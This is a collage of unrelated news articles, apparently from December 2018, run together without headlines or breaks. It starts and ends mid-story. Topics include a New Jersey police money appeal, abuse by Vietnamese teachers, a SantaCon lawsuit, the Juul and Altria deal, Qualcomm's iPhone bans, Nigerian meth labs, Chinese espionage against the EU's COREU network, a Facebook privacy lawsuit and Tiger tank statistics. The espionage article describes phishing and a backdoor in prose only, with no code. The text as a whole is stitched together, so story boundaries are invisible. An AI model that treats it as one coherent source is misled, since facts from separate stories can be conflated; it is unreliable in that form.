(@ERutherfordPD) December 13, 2018 We have had several individuals contact ERPD & return money in this case. We would like to advise people if they have any money connected to this incident to contact ERPD at 201-438-0165 to make arrangements for its return with no charges filed. East Rutherford Police (@ERutherfordPD) December 13, 2018 One person, according to the AP, "bought in about $90,000." NorthJersey.com reports, "Detectives are investigating the incident by scouring photos and videos posted to social media and video surveillance from New Jersey Department of Transportation cameras along the highway. [East Rutherford Capt. Phil] Taormina said police will try to look for anything that would be distinguishing about the people and cars that stopped." Right now, the police are looking for $188,000. Are schools at fault for student-abuse cases? VietNamNet Bridge - Under current regulations, state-owned schools do not have the right to recruit teachers, as this is the job of the Ministry of Interior Affairs. Schools don't have the right to recruit teachers On an online education forum, parents have criticized the Ministry of Education and Training (MOET) and schools, saying that they must be punished for teachers abuse of students. Some parents, however, argued that the accusation is unfair. As MOET and schools do not have the recruitment right, they must not be blamed for the teacher shortage and lack of qualified teachers, the two most serious problems in the education sector. On November 19, Nguyen Thi Phuong Thuy, the head teacher of a sixth class of the Duy Ninh Secondary School in Quang Binh province, commanded all 23 students in the class to give 10 slaps on the face of a classmate who made a mistake. On December 3, at the Quang Trung Primary School in Dong Da district in Hanoi, a teacher told her students to slap their classmate for the same reason. And on December 7, a student at the Binh Huu Primary School in Long An province was found beaten black and blue by his teacher. Just within one month, three serious school abuse cases occurred, and MOET had to send dispatches to local education departments to strictly handle the cases. Article 58 of the 2005 Education Law stipulates that schools have the right to recruit, manage teachers and officers, and get involved in the state agencies personnel appointment plans. However, in reality, they are not given the right. Recently, local newspapers reported that a child suffering from hyperactivity disorder was tied by a teacher to a window. The case showed the lack of teachers skills in teaching disabled children. Analysts blame the low quality of teachers and the current teacher recruitment scheme. There are over 1 million teachers at different education levels recruited by the Ministry of Interior Affairs. Both MOET and schools, which understand what they need to ensure he best teaching, do not have this right. Vu Trong Ry, deputy chair of the Vietnam Education Psychology Association, who recently returned from a fact-finding trip on the implementation of autonomy at schools, said that the 15 schools with which he had working sessions do not have autonomy in staff development. According to Ry, Article 58 of the 2005 Education Law stipulates that schools have the right to recruit, manage teachers and officers, and get involved in the state agencies personnel appointment plans. However, in reality, they are not given the right. Minister of Education Phung Xuan Nha, when questioned before the National Assembly about the teacher shortage in some localities and teacher oversupply in others, explained that MOET only plays an advisory role, while the Ministry of Interior Affairs makes final decisions. RELATED NEWS Minister confirms teacher shortages Vietnam lacks 76,000 teachers for new academic year Mai Lan A former SantaCon Santa sees the error of his ways after a drunken tumble at the event landed him in a medically induced coma. Now, he wants what we all want: To see SantaCon banned. And also, he wants the bar where he fell to pay him for his injuriesbut there, according to Manhattan Supreme Court Justice Barbara Jaffe, he's on his own. When you get so inebriated that you fall down a flight of stairs and badly hurt your head, she ruled, that's on you. "Providers of alcohol owe no duty to protect against the consequences of one's own voluntary intoxication," Jaffe wrote in a December 8th decision. In other words, only you can save yourself from your own SantaCon idiocy. How did we arrive at this seemingly obvious, court-ordered conclusion? Well! On December 14, 2014, Christopher Visone (now 32) attended the daylong barf rager popularly known as SantaCon. Let's not forget, this particular SantaCon was also the SantaCon that coincided with a pre-planned, peaceful protest of the deaths of Eric Garner and Michael Brown at the hands of police officers. Considering SantaCon's predominantly white, privileged bro demographic, I think we can safely class this day as an extra problematic one in the annals of SantaCon history. And as always, it was supremely sloppy (the man in the photo below is not Visone, just an absolutely shattered Santa, to give you an idea of the vibe): Visone says he made his way from the Bronx to Lower Manhattan, where he and his brother began binge drinking at 1 p.m. Over the course of the next three hours, Visone maintains he had three to four alcoholic bevs, then one beer max back at his brother's place. Around 10 p.m., his crew descended upon the now-closed Tavern on Third, where he allegedly had just one more drink. Then, between midnight and 1 a.m., he fell down the stairs on his way to the bathroom, injuring his brain so badly that he had to be placed in a coma for weeks of treatment. Visone claims that he slipped not because he was a wasted, Santa-suited mess, but because there was something on the stairs. "The bar was messy," he told the NY Post. "I have to think [the fall] was due to the condition of the stairs." Which, okay, not implausible: SantaCon participants do have a tendency to trash things without thought, their antics translating to over 50 summonses handed out at the 2018 event. (This number is notably low compared to other years, like for example 2016, when rowdy Santas allegedly robbed a bar.) But again, that seems like an issue to take up with one's fellow Santas, not with the establishment upon which they foisted their unruly presence. In any case, Visone wants the bar to pay him undisclosed damages, alleging that thanks to the staff's negligence, he must now take a raft of daily medications for the lingering neurological trauma. Even if he had been too drunkwhich Visone maintains he totally wasn't, although the Post reports his blood alcohol content as 0.34 at the time of the accidentthe bar should have denied him entry. The bar staff, however, tells a different story. They did have people cleaning the premises, the owners say, plus a bartender observed a "shaky" Visone heading for the stairs, but couldn't get to him in time. Also, there's that strange self-contradiction, which Jaffe calls out in her decision: How could he be too drunk to be in the bar, "but not too drunk to walk down the stairway safely, absent any dangerous condition," she wonders? In short, Judge Jaffe ruled that the bar staff did all it could reasonably be expected to do to contain the Santas' sprawl, and at some point, participants must take accountability for their own actions. Complaint dismissed, although Visone will appeal. You may be relieved to learn, though, that Visone says he has given up booze, and now considers himself "a changed person." Post-SantaCon-induced coma, he now sees the event as the public menace it's been all along. "Kids do it as an excuse to drink and I'm very opposed to it right now," he told the Post. Ban SantaCon, Visone says! And I for one agree. News Challenges never deterred us from pursuing our path: Mohammed In his statement to Nation Shield, the UAE Armed Forces' magazine, on the occasion of the UAE's 50th National Day, Sheikh Mohammed says that no matter how great the challenges and obstacles were, nothing was able to discourage us, break our will, or defeat our dreams. New models which can predict the critical point at which plant pests and diseases shift from being a localised problem to a major outbreak could help us in our fight to save the world's woodlands. Infectious disease outbreaks in plants are a major threat to the world's ecosystems, agricultural crops and food trade. Currently, several fungal diseases are devastating forests world-wide and under particular threat are key UK species such as oak and ash. Now new research led by mathematicians at Newcastle University, UK, together with the University of Leeds, has identified a way to model disease progression and predict the 'tipping point' of a disease, providing early warning indicators that an epidemic is imminent and action needs to be taken. Lead author Dr Sirio Orozco-Fuentes, a physicist at Newcastle University, explains: "Predicting and controlling disease spread is incredibly difficult because of the interaction of all the different components involved. "It's not just about the type of tree or the hardiness of the disease, it depends on the environment - temperature, humidity, wind speed, the types of trees planted nearby and how close they are. "So the presence of disease doesn't automatically lead to an outbreak. A change in the weather, for example, may kill the pest before it becomes a problem without any need for human intervention. "What we have developed is a number of mathematical models which predict the point at which a disease shifts from a small, localised problem to an epidemic, providing us with the first early warning indicators that an outbreak is imminent. "Ultimately, we hope this will help to slow down disease spread in the future and also help us to design more resilient forests in the future." Funded by Defra and Newcastle University, the project was launched in response to the current threat to our oak tree population, such as the Oak Processionary Moth, a toxic species of caterpillar which strips the trees of their leaves. The team developed mathematical models to mimic the spread of disease under different conditions. Their findings, published in Ecological Modelling, show strikingly similar patterns of disease spread to the ones obtained through satellite images of key woodlands across the UK. They also highlighted a 'critical transition' period between two phases: local confinement (the time when the disease is contained and not a threat) and an epiphytotic outbreak. Monitoring new pockets of disease and identifying the point at which it hits this critical point would result in a more informed management system for policy makers, explains Dr Nick Parker, a senior lecturer in applied mathematics at Newcastle University and co-author on the paper. "One of the key indicators is the species mix of the diseased woodland," says Dr Parker. "The homogeneous nature of today's woodlands allows the rapid spread of pests and diseases and is where we are most likely to see an outbreak." ### (Bloomberg) -- Juul Labs Inc., the company behind the wildly popular e-cigarette, is nearing a deal to sell about a third of itself to tobacco giant Altria Group Inc., people familiar with the negotiations said. The investment would make Juul the second-most-valuable privately held company after Uber Technologies Inc. and put its products next to Marlboro cigarettes on the top shelf in the U.S., said the people, who asked not to be identified because the information was private. Altria, which is focused on the U.S. market after spinning off Philip Morris International Inc. in 2008, is set to invest about $12.8 billion in Juul, valuing the e-cigarette maker at roughly $38 billion, the people said. The deal is expected to close before the end of this week, they said. An agreement hasnt been reached and talks could still end without one, the people said. Representatives for Altria and San Francisco-based Juul declined to comment. At a valuation of $38 billion, the deal would be the second-biggest such investment this year and among the 10 largest of all time, according to data compiled by Bloomberg. The Wall Street Journal reported earlier that the companies were nearing an agreement. Canadian Cannabis A deal with Juul would further Altrias move away from cigarettes and into higher-growth businesses. Its efforts have included an investment in Canadian cannabis company Cronos Group Inc., which gave it a 45 percent stake and an option to take majority control in the future. For Juul, a tie-up with Altria, with a market value of $97 billion, could more than double its valuation. Just a few months ago, Juul was valued at $16 billion after Tiger Global Management led a $1.2 billion investment. The deal would make Juul more valuable than Airbnb Inc. or Elon Musks SpaceX. Since launching in 2015, Juul has been a runaway success, attracting the ire of parents and regulators who say the companys devices hook teenagers. Juul has positioned itself as a technology company on a mission to get addicted smokers off tar-burning cigarettes. Story continues Marlboros, Vaping As part of the agreement, Marlboro will put coupons for Juuls products inside and outside its cigarette cartons, one of the people said. Altria would also give Juuls sleek vaporizer pen and pods valuable shelf space in retail stores, the person said. Altria, which only sells its cigarettes in the U.S., would benefit from international exposure as Juul expands to new markets outside the country. A spokesman for Philip Morris International declined to comment on talks with Juul or how a deal might affect IQOS, a smoke not burn device that Altria plans to sell in the U.S. if it gets approved by regulators. Philip Morris is already selling it in some countries. Juuls employees will be able to sell their shares as part of the agreement, the people said. Juul founders Adam Bowen and James Monsees would become the first e-cigarette billionaires if the deal goes through. Assuming the transaction dilutes the holdings of current shareholders, the founders will each own stakes of 3.6 percent, or $1.36 billion apiece, according to the Bloomberg Billionaires Index. Bowen and Monsees each owned 5.6 percent of Juul after the July funding round that valued each of their holdings at $843 million. (Updates with Altrias Cronos investment in seventh paragraph.) --With assistance from Tiffany Kary and Sophie Alexander. To contact the reporter on this story: Olivia Zaleski in San Francisco at ozaleski@bloomberg.net To contact the editors responsible for this story: Elizabeth Fournier at efournier5@bloomberg.net, ;Mark Milian at mmilian@bloomberg.net, Michael Hytha, Jeffrey Taylor For more articles like this, please visit us at bloomberg.com 2018 Bloomberg L.P. Some of Apples iPhones have been banned from sale in China. But the company has now released a software update that could help it keep those handsets on store shelves. Apple this week released a software update to its iOS operating system to slightly modify how the iPhone behaves, according to The Wall Street Journal. For instance, when people who have applied the update now swipe the screen up from the bottom when they want to close an app, the transition now looks different. Apple aapl apparently believes that its enough to sidestep a Qualcomm patent on the technology. In response, Qualcomm qcom told the Journal that it will test the software update and see if it still runs afoul of its patents. If it does, Qualcomm indicated it would again push for a sales ban. Apples move comes after Qualcomm won a preliminary injunction against several iPhone models that the company says, violates its patents. A Chinese court ordered a sales ban on those affected units. Qualcomm is also hoping to get the same ruling on Apples latest smartphones, the iPhone XR, iPhone XS, and iPhone XS Max. For its part, Apple has said that the ban hasnt affected Chinese iPhone sales and has committed to continuing its battle with Qualcomm. Apple has also asked the court to reconsider its decision. A final determination on the case might not come down until the middle of next year. Neither Apple nor Qualcomm immediately responded to a Fortune request for comment. Last week, a Chinese court ordered an injunction against Apple over an alleged patent violation filed by chipmaker Qualcomm. Now, a Munich court has ordered an injunction against Apple for another claim in Germany. Apple says it will stop selling the iPhone 7 and iPhone 8 at its stores in Germany. But all iPhone models will be available at third-party retailers in the country. Qualcomm QCOM was granted a second injunction against Apple AAPL Thursday, banning it from selling some iPhone models in Germany that use chips from Intel INTC and parts from another supplier, Qorvo. There was no clear reaction to the news in Apple's stock price. In a statement, Apple said it plans to appeal the ruling. Under this condition, judge Matthias Zigann told the court earlier Thursday, the ruling would not go into immediate effect. However, Apple said that throughout the appeal process, iPhone 7 and iPhone 8 models would not be sold in its 15 retail stores in Germany. Its newest models, iPhone XS, iPhone XS Max and iPhone XR will still be sold in those stores, Apple said in the statement. All iPhone models will still be sold through carriers and other third-party retailers in Germany, Apple said. The German case is Qualcomm's third major effort to secure a ban on Apple's lucrative iPhones over patent infringement allegations after similar court efforts in the United States and in China. This is the second major win for Qualcomm against Apple after a Chinese court granted an injunction against Apple for an alleged patent violation on Dec. 10. In Germany, Qualcomm is seeking a ban on some iPhones with chips from Intel. The judge ruled that phones that contain a combination of chips from Intel and Apple supplier Qorvo violated one of Qualcomm's patents around so-called envelope tracking, a feature that helps mobile phones save battery power while sending and receiving wireless signals. Apple said in a statement, "Qualcomm's campaign is a desperate attempt to distract from the real issues between our companies. Their tactics, in the courts and in their everyday business, are harming innovation and harming consumers. Qualcomm insists on charging exorbitant fees based on work they didn't do and they are being investigated by governments all around the world for their behavior. We are of course disappointed by this verdict and we plan to appeal. All iPhone models remain available to customers through carriers and resellers in 4,300 locations across Germany. During the appeal process, iPhone 7 and iPhone 8 models will not be available at Apple's 15 retail stores in Germany. iPhone XS, iPhone XS Max and iPhone XR will remain available in all our stores." Story continues In a statement, Qorvo's Chief Intellectual Property Counsel Mike Baker said, "We believe our envelope tracking chip does not infringe the patent in suit, and the court would have come to a different conclusion if it had considered all the evidence. We're disappointed that the inventor and designer of our chip, who attended the hearing, wasn't given the opportunity to testify or present other evidence that disproves Qualcomm's claim of infringement. The International Trade Commission has already determined that our envelope tracker chip does not infringe the U.S. counterpart to the patent at issue in this case. We currently do not expect that this decision will have any impact on our business with Apple." Intel's General Counsel Steven Rodgers said in a blog post , "Qualcomm's goal is not to vindicate its intellectual property rights, but rather to drive competition out of the market for premium modem chips, and to defend a business model that ultimately harms consumers." A Qualcomm spokesperson did not immediately have a statement. Qualcomm sued Apple in the regional court in Munich in July last year, seeking an injunction to halt some iPhone sales in Germany as well as monetary damages. The case is part of a broader court conflict between the two, in which Apple has alleged that Qualcomm engaged in anticompetitive business practices to protect a monopoly on its modem chips, which help mobile phones connect to wireless data networks. The U.S. Federal Trade Commission has also sued Qualcomm over its business practices in a case set to go to trial in California next month. Apple had tried to preempt a ban based on a different feature by altering its software in Germany, the Financial Times reported Wednesday . - Reuters contributed to this report. Subscribe to CNBC on YouTube. Watch: Apple to file with Chinese court for reconsideration More From CNBC Nigerian drug enforcement officials guard a methamphetamine lab in the village of Obinugwu in the southeast of the country Nigerian drug enforcement officials guard a methamphetamine lab in the village of Obinugwu in the southeast of the country (AFP Photo/STEFAN HEUNIS) Obinugwu (Nigeria) (AFP) - In the early hours of a humid November morning, a 16-car convoy rolled into Obinugwu village in southeast Nigeria and stopped outside the iron gates of a non-descript house. More than 50 drug enforcement officials crept through the compound and surrounded the methamphetamine lab hidden by overgrown jungle behind the property. The bust happened just before daybreak. Dozens were arrested, including the suspected kingpin at his mansion in the nearby city of Owerri. "It took one year of surveillance," a National Drug Law Enforcement Agency (NDLEA) officer, who was involved in the raid, told AFP. "They were all sleeping. We took them by surprise." Inside the lab there was 78 kilograms (171 pounds) of meth -- a drug as notorious for its exhilarating highs as its life-destroying, addictive lows. But the haul, worth tens of thousands of dollars, was not for domestic consumption. Instead, it was probably destined for South Africa and Asia, investigators said. Drug trafficking is nothing new to Nigeria, which has long been a transit point for cocaine and heroin going to Europe and North America. The difference is that now Nigerians are producing the drugs. With vast quantities of chemicals entering the country, porous borders and corrupt law enforcement, Nigeria is an ideal place to produce the drug. Since the country's first meth lab was discovered in 2011, authorities have found 14 more producing mass quantities of the stimulant, while seizures of the drug have jumped from 177 kilos in 2012 to 1,363 kilos in 2016. "It (meth production) is on the increase, significantly on the increase. Meth today is a serious threat to Nigeria," said Sunday Zirangey, NDLEA Special Enforcement Team commander. "If this continues, Nigeria may turn into a narco-state." Glen Prichard, Nigeria project coordinator with the United Nations Office on Drugs and Crime, agreed. "Nigeria is potentially following the same footsteps as Mexico that led to instability, organised crime and an infiltrated government," he added. Story continues - Church massacre - Reliable data on meth production in Nigeria is hard to come by and seizures are small compared with global giants Mexico and Myanmar. But evidence on the ground points to a much larger industry. Nigeria's estimated need for the stimulant ephedrine, which is used as a medical decongestant, is 771 kilos, according to a US State Department report on international narcotics. Yet Nigeria imports over eight tons a year, with the difference suspected of either being used to produce meth or trafficked elsewhere. Despite the risks of arrest and even execution for traffickers in Asia, the profits are irresistible in a country where the minimum wage is just 18,000 naira ($50, 44 euros) a month. A kilo of meth sells for $3,500 on the streets of Lagos but by the time it reaches South Africa it is worth $12,000 and $150,000 in Japan -- and the stakes are rising. Last year, the fight for control of the lucrative South African market more than 6,000 kilometres (3,700 miles) away came to St Philip's Parish in Ozubulu, a village in the southeast Nigerian state of Anambra. Thirteen people were shot dead in an apparent reprisal attack between Nigerian drug barons operating in Johannesburg. Piles of trash line the dirt road leading to Ozubulu, where an endless stream of people hawk everything from adulterated fuel to plastic flip-flops. But among the grinding poverty are huge villas with grand columns and intricate wrought iron gates -- glaring anomalies in a region with epileptic power and disintegrating roads. In August last year, unknown gunmen interrupted the 6:00 am Sunday mass in Ozubulu, hoping to kill Aloysius Nnamdi Ikegwuonu, a Johannesburg drugs kingpin known as "The Bishop". He wasn't there but his father and a one-year-old child were among the victims. Details of the shooting remain clouded in secrecy. "What we had is gunshots, sporadic and reckless shootings. That's what I can say," said parish priest Father Jude Onwuaso standing by the victims' marble graves wearing a sky-blue cassock. Ozubulu has made headlines for drugs before. In 2015, the NDLEA busted a meth lab belonging to Ikejiaku Sylvester Chukwunwendu, also known as "Blessed Benita". He was charged with meth production and trafficking in the village. "He's one of the biggest kingpins we've got," said state prosecutor Lambert Nor, who said some of Chukwunwendu's couriers had been executed in China for drug trafficking. - Ideal conditions - As the popular US television series "Breaking Bad" showed, meth can be made by almost everyone in their own kitchen if they have the right ingredients and background knowledge in chemistry. Cocaine and heroin, on the other hand, are bigger-ticket enterprises. They require land dedicated to plantations and a specific climate to grow the crop. But Nigerians were paying thousands of dollars a week to Mexicans, Colombians and Bolivians to teach them a new form of production that pumps out bigger, purer batches of meth. Two years ago, Nigerian authorities arrested four Mexicans from Sinaloa, the epicentre of one of the world's biggest drug trafficking cartels and birthplace of the infamous drug lord Joaquin "El Chapo" Guzman. "When you found labs before you always had Mexicans and Bolivians behind it but now the Nigerians are on their own and they do even better," said Kayode Raji, NDLEA assistant commander in Imo State. Experts fear that as production increases, meth will find a domestic market like in South Africa, where "tik" -- as it's known on the street -- has been described as an "epidemic" and is the most abused drug in the Western Cape province. But there is no easy way to stop the rise of meth in Nigeria. "It will become uncontrollable unless decisive measures are taken," said Nor, warning: "Otherwise what we have in Mexico will be a small thing compared to Nigeria." Chinese hackers have reportedly compromised a network used by European Union countries to relay diplomatic messages, allowing the intruders to spy on sensitive correspondence about everything from foreign policy to trade to weapons. The intrusion into the EU network, known as COREU, was part of a coordinated cyber-espionage campaign that also breached more than 100 organizations, including the United Nations, various ministries of foreign affairs, labor unions, and think tanks, according to Area 1, a cybersecurity firm based in Redwood City, Calif. In a report published on Wednesday, Area 1 said hackers infiltrated computer systems belonging to the Ministry of Foreign Affairs of Cyprus, and then used that foothold to gain access to the COREU network which they looted for classified messages of other countries. The spies swiped thousands of diplomatic cables relating to subjects such as nuclear proliferation, arms control, human rights, regional diplomatic talks, and other international matters. The Council Secretariat is aware of allegations regarding a potential leak of sensitive information and is actively investigating the issue, a spokesperson at the press office for the European Council told Fortune in an email. The spokesperson said the office does not comment on allegations nor on matters relating to operational security, and added that the council takes the security of its facilities, including its IT systems, extremely seriously. In the stolen cables, whose contents were reported by the New York Times, European diplomats fret about matters like President Trumps conduct towards China and, in one case, describe a meeting between Trump and Russian President Vladimir Putin as successful (at least for Putin). The United Nations and the AFL-CIO were separately pillaged as part of the same espionage campaign that targeted COREU, Area 1 said in its report. The authors pointed to logs of activity on affected computers and other technical details to make the case these organizations had fallen victim to a single ongoing spy operation. Story continues Farhan Haq, deputy spokesperson for the Secretary-General of the UN, said the organization has no information about the alleged breach. When cyberattacks and attempted intrusions occur they are generally only reported internally, and for most incidents the United Nations does not have sufficient information to conclusively attribute such attacks, he said. Josh Goldstein, communications director for the AFL-CIO, said the union was aware of a previous breach in security protocols. But he downplayed the situation, insisting that we were able to fix the vulnerability that was used and verify that no data was compromised. Officials from Cyprus declined to comment. The statements jar against information contained in the Area 1 report, which purports to show evidence of data copied and lifted from internal networks. Oren Falkowitz, Area 1s CEO and cofounder, told Fortune that his team, aided by its global network of sensors, detected the intrusion into the European diplomatic cable network in late November. The team then investigated the breach and traced its perpetrators activity to a string of breaches dating as far back as April 2015. A former National Security Agency and U.S. Cyber Command officer, Falkowitz said he alerted United States authorities, including the Federal Bureau of Investigation, about his teams findings on Dec. 10. Falkowitz and his team said they have attributed the breaches to Chinas Strategic Support Force, a hacker unit of the Peoples Liberation Army. He said the attackers technology and tradecraft, some of which is detailed in the report, matched Beijings style. Our attribution of this campaign is based on extensive technical analysis and over a decade of experience countering Chinese cyber operations, said Blake Darche, chief security officer and cofounder of Area 1, who formerly worked at the U.S. National Security Agency. Press officers for the Chinese embassy in Washington, D.C., did not respond to emails seeking comment. What Happened The attacks all followed the same template. Each used standard phishing methods to steal the login credentials of network administrators and senior staff of the affected organizations, Falkowitz said. The hackers then probed the victims machines, moved across their networks, and implanted a malicious software program, called PlugX, which establishes a so-called backdoor. While on the machines, the hackers were able to explore file directories, log keystrokes, capture screenshots, and grab reams of data. In the COREU breach, Area 1 said the intruders stole communications pertaining to European Council working parties and committee reports on the EUs relations with Asia and other regions, as well as documents concerning security and military technologies. In the AFL-CIO breach, the looters got their hands on documents from top officers of the union, including legal counsels, Area 1 said. They also nabbed backups of password files which at least one staffer stored using 1Password, a popular password management application. The hackers then zipped the files, compressing their size, added a password protections, and disguised the resulting documents with innocuous sounding-names, like infos.txt. Sometimes the attackers would break down these files into smaller batches, presumably to sneak the data off networks while raising fewer flags. The hackers removed the data by sending them to public cloud services, such as Google Drive. The spies attempted to erase their tracks, but Area 1 said it was able to observe and map out their activity. The company has shared in its report technical indicators associated with the breaches so that other organizations can check to see whether they were similarly targeted. The hackers continued to have access to the COREU network as recently as last week, Falkowitz said. Implications The strategic goals of the recent wave of cyberattacks are not clear, in part because they appear directed at such a broad range of entities, including think tanks, unions and government ministries. Falkowitz points to stolen files related to the proposed Trans Pacific Partnership to speculate that China was in part seeking intelligence about global trade negotiationsa sensitive topic for the Trump Administration, and a key instrument of geo-political power. The hacking may also have been spurred by general opportunism. According to Adam Segal, a cybersecurity expert at the Council on Foreign Relations, China regards cyber-space as incredibly important for achieving three goals: economic growth, controlling information and military advantage. In this context, the hackers may have been seeking to monitor their targets in hopes of gathering any useful information rather than to obtain specific trade files. If Area 1s attribution is correct, the attacks underscore Chinese hackers success in rummaging through cyberspaceand also how poorly its targets have fared in deflecting them. This failure to defend can be chalked up in part to the complexity of guarding networks, especially those at bureaucratic and multi-pronged institutions like the European Union. IT security remains a nightmare within the EU, not only because of the technical challenge of harmonizing 28 IT security systems, but also because of the incentive countries have to leak confidential documents to non-EU allies, said Federica Bicchi, a professor at the London School of Economics, who has published a history of the COREU network. The failure to rebuff this latest round of hacks is also notable given Chinas prior track record. In 2012, U.S. lawmakers decried a furious wave of cyberespionage aimed at think tanks, and warned that sensitive academic and diplomatic data was being stolen. Meanwhile, U.S. discussions with China on the cyber front have regressed since former President Obama and Chinese President Xi Jinping reached a bilateral agreement in 2015. That pact reportedly led to a downturn in hacking incidents from China, but only a temporary one. Potential Response Past cyberattacks by China have triggered retaliatory measures by the U.S., including sanctions and the filing of criminal charges against individual hackers. Its unclear, however, whether the incidents directed at the EU and the AFL-CIO will prompt similar measures by the U.S. or by European governments. According to Segal, many of the organizations described in the Area 1 reportincluding governments and think tankswould be considered to be fair game under the norms of spycraft, and that other countries conduct similar operations. It is only when Chinas hackers seek to plunder companies for economic gain that the U.S. has reacted in a forceful public fashion, he added. Chinas success at breaching COREU, the UN, the AFL-CIO, and the other organizations nonetheless raises questions about whether anything can be done to stop such cyberattacks. According to Falkowitz, any response must begin by recognizing the attacks are not particularly sophisticated. Rather, he says, they rely on a cookie cutter approach that involves repeatedly probing the target with phishing emails until someone clicks on a booby-trapped link to let the hackers in. Cyberattacks are more like cogs in an assembly line than they are individual snowflakes, Falkowitz said. From a technical perspective, its rather boring, to be honest, but the impact is super, super high. FILE PHOTO - A 3D printed Facebook logo is seen in front of displayed cyber code in this illustration taken March 22, 2016. REUTERS/Dado Ruvic/Illustration/File Photo By Lisa Lambert and Paresh Dave WASHINGTON (Reuters) - The attorney general for Washington, D.C., said on Wednesday the U.S. capital city had sued Facebook Inc for allegedly misleading users about how it safeguarded their personal data, in the latest fallout from the Cambridge Analytica scandal. The case joins several legal and regulatory proceedings that threaten to hit Facebook with significant penalties and increase its operating costs. Authorities and consumer advocates have questioned whether Facebook's efforts on security, content moderation and cultural diversity have kept pace with the social responsibility it should have for its services, including WhatsApp and Instagram, which are essential communication tools for more than 2 billion people each month. The world's largest social media company has drawn global scrutiny since disclosing earlier this year that a third-party personality quiz distributed on Facebook gathered profile information on 87 million users worldwide and sold the data to British political consulting firm Cambridge Analytica. Washington, D.C., Attorney General Karl Racine said Facebook misled users because it had known about the incident for two years before disclosing it. The company had told users it vetted third-party apps, yet made few checks, Racine said. "This continues a year of bad publicity and significant issues for [Facebook], making it more likely that the U.S. government will take action to penalize and/or regulate" it, said financial analyst Scott Kessler of CFRA Research. "Yet, we still see its fundamentals as healthy and valuation as attractive." Facebook shares suffered their biggest drop since July 26, closing down more than 7 percent at $133.24 on Wednesday, extending a roughly five-month stretch since the company warned that profit margins would erode in coming years because of consumer and government pressure to better guard data and suppress objectionable content. Story continues "Facebook could have prevented third parties from misusing its consumers' data had it implemented and maintained reasonable oversight of third-party applications, according to the lawsuit filed in the Superior Court of Washington, D.C., on Wednesday. Facebook said in a statement, "We're reviewing the complaint and look forward to continuing our discussions with attorneys general in D.C. and elsewhere." The court could award unspecified damages and impose a civil penalty of up to $5,000 per violation of the district's consumer protection law, or potentially close to $1.7 billion, if penalized for each consumer affected as is typical. The lawsuit alleges the quiz software had data on 340,000 D.C. residents, though just 852 users had directly engaged with it. 'CONFUSING SETTINGS' Facebook offered separate privacy settings around 2013 to control what friends on the network could see and what data could be accessed by apps, enabling the quiz and other services to collect details about their users' Facebook friends without many of them realizing it, according to the lawsuit. It further alleges Facebook misled users by allowing several partners, including mobile software maker BlackBerry, "to override Facebook consumers privacy settings and access their information without their knowledge or consent." The New York Times reported new details on Tuesday about the user data that remained available to such partners years after they had shut down the features that required them. Facebook acknowledged the lapse, but said that it has not found evidence of wrongdoing by those partners. Racine criticized Facebook's "lax oversight and confusing privacy settings," telling reporters that Facebook had tried to settle the case before he filed suit, as is common during investigations of large companies. He said that a lawsuit was necessary "to expedite change" at the Silicon Valley company. Britain's data protection authority in July fined Facebook 500,000 pounds for the breaches of data in the Cambridge Analytica incident. Since then, Facebook has disclosed a pair of security breaches involving profile data and posts of up to 29 million users and 6.8 million users, respectively. At least six U.S. states have ongoing investigations into Facebook, according to state officials. In March, a bipartisan coalition of 37 state attorneys wrote to the company, demanding to know more about the Cambridge Analytica data and its possible links to U.S. President Donald Trump's election campaign. At the same time, the Federal Trade Commission took the unusual step of announcing an investigation into whether Facebook had violated a 2011 consent decree, exposing the company to a multi-billion dollar fine. State attorneys general have found some success taking on technology companies over data privacy. Uber Technologies Inc [UBER.UL] in September agreed to pay $148 million as part of a settlement with 50 U.S. states and Washington, D.C., which investigated a data breach that exposed personal data from 57 million Uber accounts. Agnieszka McPeak, a professor at Duquesne University School of Law, said states will likely make claims similar to those of D.C., pressuring Facebook into a settlement that involves both a monetary fine and modified business practices. If a company faces 51 separate actions around the country for deceptive practices, that can have a real impact, McPeak said. (Reporting by Lisa Lambert in Washington, D.C., and Paresh Dave in San Francisco; Additional reporting by David Shepardson and Jan Wolfe in Washington; editing by Rosalba O'Brien and Phil Berlowitz) Photo credit: ullstein bild Dtl. - Getty Images From Popular Mechanics In the years since World War II, much mythmaking has mucked up history, with various often incredible claims about the effectiveness of certain weapons. No countrys wartime record is more muddled than Germanys, whose arms and armies have attracted legions of devoted fans. From the battleship Bismarck to the the V-2 rocket, Germanys weapons have a hold on history fans like few others. But really, how effective were these weapons? A new video at the YouTube channel Military History Visualized breaks down actual data on the German Tiger tanks. The Panzerkampfwagen VI Tiger tank was a German heavy tank that served on the Eastern Front, Western Front, and in North Africa during World War II. The final version of the tank weighed 54 tons, had a crew of five, and was equipped with a mobile version of the famous 88-millimeter anti-tank gun. First fielded in 1942, the Tiger was meant to forge breakthroughs on the battlefield, destroying enemy tanks at long range while shrugging off hits from lesser Allied anti-tank guns. The Tiger is one of the most revered tanks of the war, if not the entirety of tank history. And, as Military History Visualized reveals, an effective tank-although perhaps not as effective as its most ardent fans think. The channel charts the combat effectiveness of the various tank battalions equipped with Tiger, comparing wartime and total losses versus the number of enemy tanks destroyed. Unlike other tanks Tigers were primarily assigned to independent heavy tank battalions of 45 tanks each that the high command parceled to help out in particularly tough battles. Photo credit: ullstein bild Dtl. - Getty Images The verdict? If one counts Tiger tanks versus the number of enemy tanks claimed destroyed by Tiger tanks (a number that should be taken with a grain or two of salt), Tiger tanks killed 11.52 tanks for every of their own destroyed in battle. Tigers suffered a large number of non-combat losses however, as the chaos of wartime and the Tigers mechanical finickyness chipped away at the number of deployable tanks. If however one counts non-combat losses, such as vehicles broken down and abandoned, that number drops sharply to 5.25 enemy tanks killed for every lost Tiger. Story continues Another way to measure effectiveness, the channel explains, is to examine how much of a threat the Allies considered the Tiger battalions. The Allies took the Tiger very seriously, devoting considerable time to tracking their movements. The Tiger could penetrate the armor of any Allied tank on the battlefield and the U.S. and British forces would often try to team together air and artillery support along with ground forces to increase odds in their favor. The major problem with the Tiger? It was very expensive, both in terms of money and resources. As the war ground on, Germany had less of either, and it was deemed important to make the most of war production. The Germans could build many more tanks and cheaper tank destroyers for the cost of one Tiger. A single Tiger used enough steel to build 21 105-millimeter howitzers, and eventually, that was just too high a price to pay. Source: Military History Visualized ('You Might Also Like',) FILE PHOTO: Logos of ExxonMobil are seen in its booth at Gastech, the world's biggest expo for the gas industry, in Chiba, Japan April 4, 2017. REUTERS/Toru Hanai By Ekaterina Kravtsova LONDON (Reuters) - U.S. oil major Exxon Mobil Corp has withdrawn its WCC liquefied natural gas (LNG) export terminal in Canada from the environmental assessment process, it said on Thursday, signaling that the project has been shelved. The decision to pare its LNG project portfolio follows the go-ahead of a giant Royal Dutch 